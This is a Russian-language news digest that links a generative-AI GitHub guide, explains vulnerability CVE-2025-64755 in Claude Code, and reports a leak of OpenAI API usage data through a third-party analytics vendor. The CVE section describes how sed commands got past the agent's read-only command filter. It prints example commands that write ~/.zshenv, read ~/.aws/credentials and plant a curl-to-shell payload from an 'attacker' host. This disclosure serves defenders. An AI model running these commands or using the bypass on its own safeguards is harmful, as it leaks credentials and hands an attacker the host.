Аwesome-generative-ai-guide — единый репозиторий для обновлений исследований в области генеративного ИИ, материалов для интервью, блокнотов и многого другого!

🐱 GitHub

Как ошибка в разборе sed привела к обходу read-only защиты в Claude Code? CVE-2025-64755

Недавно была обнаружена критическая уязвимость в Claude Code, позволяющая обойти механизм read-only защиты и записывать произвольные файлы на хосте. Проблема получила идентификатор CVE-2025-64755, а исправление выпущено в версии 2.0.31. ✌️ Если обновляешь Claude Code вручную - самое время сделать это.

В Claude Code - сложная последовательность проверок для фильтрации bash-команд, которые модель может выполнять. Идея в том, чтобы разрешать только безопасные команды 👀, а опасные ьлокировать. Для этого используется:
🙈список безопасных команд и аргументов;
🙈множество чувствительных регулярных выражений;
🙈отдельная LLM (Haiku), которая проверяет, не содержит ли команда инъекцию;
🙈механизм checkPermissions для каждой встроенной тулы.

Однако весь этот сложный механизм имел одну точку провала - парсинг выражений в команде sed 🪞. Валидация выражений sed полагалась на несколько регулярных выражений, которые должны были выявлять опасные шаблоны. Но проверка была неполной. Благодаря особенностям реализации sed на macOS и неточно подобранным regex можно было выполнить команды вида:

echo 'runme' | sed 'w /Users/xpn/.zshenv'

Или

echo 1 | sed 'r/Users/xpn/.aws/credentials'

Claude Code доверял такой команде, считая её безопасной. 😏 В результате становилось возможным:

1. Запись в произвольный файл
Например, в .zshenv:

echo 'malware' | sed 'w ~/.zshenv'

2. Чтение конфиденциальных данных
AWS credentials, SSH keys, токены и тд и тп

3. Получение RCE через login shell
Вписав payload в .bashrc / .zshenv:

echo '$(curl attacker.sh | sh)' | sed 'w ~/.zshenv'

После запуска терминала - полный RCE.

Это пост - напоминание всем, кто строит агентные системы! 🌡️Инструменты интерпретации команд требуют не регэкс проверок, а строгих, формальных методов анализа.

Всё!
🆗

Утечка из OpenAI

OpenAI стал рассылать пользователям письма о том, что их данные об использовании API платформы OpenAI украдены 😒

Говорят, что пострадала 3rd-party аналитическая платформа, и никаких «критических пользовательских данных» типа данных чатов не утекло.

На этот раз пронесло, но запоминаем правила старые как мир: не общаемся с GPT на щепетильные темы, и тем более никогда не отправляем в неё чувствительных данных.

Информации о продаже базы пока не появлялось 👀